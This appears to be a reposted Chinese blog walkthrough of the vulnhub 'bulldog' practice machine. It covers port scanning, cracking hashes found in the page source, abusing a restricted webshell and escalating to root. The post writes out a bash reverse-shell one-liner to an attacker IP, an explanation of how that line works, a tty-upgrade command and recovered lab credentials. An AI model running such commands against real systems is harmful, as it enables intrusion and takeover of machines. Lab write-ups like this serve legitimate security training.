前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >vulnhub靶场系列-bulldog

vulnhub靶场系列-bulldog

作者头像
糖果
发布2019-11-20 19:07:45
7050
发布2019-11-20 19:07:45
举报
文章被收录于专栏:糖果的实验室糖果的实验室

发现整个渗透流程中,分享和总结是最耗心力的,既要整理思路和想法,又要让整个流程通顺符合逻辑。但是分享是学习的老师,一切都是值得的,不多废话了,直接上主题,哈哈哈。

一、信息收集

第一步啥也不用想,nmap端口开路。

靶机IP:172.16.3.208

代码语言:javascript
复制
# Nmap 7.70 scan initiated Sat Oct 12 15:52:17 2019 as: nmap -sV -sC -A -Pn -oN 172.16.3.208.txt 172.16.3.208

Nmap scan report for localhost (172.16.3.208)

Host is up (0.0010s latency).

Not shown: 997 closed ports

PORT     STATE SERVICE VERSION

23/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey: 

|   2048 20:8b:fc:9e:d9:2e:28:22:6b:2e:0e:e3:72:c5:bb:52 (RSA)

|   256 cd:bd:45:d8:5c:e4:8c:b6:91:e5:39:a9:66:cb:d7:98 (ECDSA)

|_  256 2f:ba:d5:e5:9f:a2:43:e5:3b:24:2c:10:c2:0a:da:66 (ED25519)

80/tcp   open  http    WSGIServer 0.1 (Python 2.7.12)

|_http-server-header: WSGIServer/0.1 Python/2.7.12

|_http-title: Bulldog Industries

8080/tcp open  http    WSGIServer 0.1 (Python 2.7.12)

|_http-server-header: WSGIServer/0.1 Python/2.7.12

|_http-title: Bulldog Industries

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel




Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Sat Oct 12 15:52:31 2019 -- 1 IP address (1 host up) scanned in 13.85 seconds

发现80端口,于是web目录扫描

主要出现了这几个界面

主页,这里没有发现可用的信息

哈哈哈,看CEO的用词、能看出靶场设计者的用心。用了一种情景加故事的方式,告诉了我们一些信息收集的东西,尽力地模仿实际场景了。

技术团队声明,用了有道词典大法成功提取部分重要信息:之前的网站使用了php,被黑后替换成了python,数据库使用了MongoDB,但是未安装完全。

还有一个需要验证的webshell链接,点击如下:

Django登录界面

现在问题来了,从题目可知,webshell可以提供给我们了,但是需要验证,怎么验证呢?验证数据又从哪里来?

按照靶场的惯例,一般这个时候右键=>查看源代码,会有惊喜。

看出来这里的数据应该是sha1加密,使用SMD5进行碰撞解析得到nick/bulldog、sarah/bulldoglover两个账号。

分别用两个账号登录Django后台,发现啥权限也没有,啥事也不能做。

但是再次打开webshell的界面,发现我们拥有shell的一些使用权限了。

二、webshell的使用

可以看到我们只有ifconfig ls echo pwd cat rm这些命令的权限,其他的大部分命令比如cd会被拦截。

反弹shell。

echo "bash -i >& /dev/tcp/192.168.31.237/4444 0>&1" | bash

代码语言:javascript
复制
命令解释:

bash -i : bash是Linux下一个常见的shell,-i参数表示产生一个交互式的shell

/dev/tcp/192.168.175.134/8080 : /dev/tcp|udp/ip/port是一个Linux中比较特殊的一个文件,如果在Linux上访问就会发现这个文件并不存在,其含义是让主机与目标主机ip在端口port建立一个tcp或udp连接

0>&1:将标准输入0输出重定向至标准输出1。或者可以这么理解,将标准输入0和标准输出1合并,在重定向至1,因为前面已经将标准输出1重定向至/dev/tcp/192.168.175.134/8080,所以现在标准输入0和标准输出1都指向/dev/tcp/192.168.175.134/8080。
echo + | bash是将中间具有交互式shell通过管道赋予bash

三、提权

cat /etc/passwd,拥有shell权限的3个人,django、bulldogadmin和root。

我uname -a然后使用脏牛进行提权,发现目前我的权限低的不能执行脏牛文件.....

然后瞄准bulldogadmin用户,查找他的文件 find / -user bulldogadmin 2>/dev/null,发现隐藏目录

打开note,一封信。

打开customPermissionApp乱码

使用strings发现两个点

这里的SUPERultHimatePASHSWORDyouHCANTget去掉H,就是SUPER ultimate PASSWORD you CANT get的组合,可能是密码,至于为什么,猜(正常渗透情况下,很少有这样的情况吧)。

反弹shell不是标准的shell,我们可以通过py自带库完成反弹shell到标准shell的转变

python -c 'import pty;pty.spawn("/bin/bash")'

然后

sudo su root

./customPermissionApp bulldogadmin

然后输入密码,成功提权。

SUPERultimatePASSWORDyouCANTget

四、总结

  • 根据拥有bash权限的用户查找其文件,发现关键信息进而提权,在实际提取中会比较有用!
  • 还是有很多东西需要学,继续努力吧!
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-11-08,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 糖果的实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、信息收集
  • 三、提权
  • 四、总结
相关产品与服务
云数据库 MongoDB
腾讯云数据库 MongoDB(TencentDB for MongoDB)是腾讯云基于全球广受欢迎的 MongoDB 打造的高性能 NoSQL 数据库,100%完全兼容 MongoDB 协议,支持跨文档事务,提供稳定丰富的监控管理,弹性可扩展、自动容灾,适用于文档型数据库场景,您无需自建灾备体系及控制管理系统。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档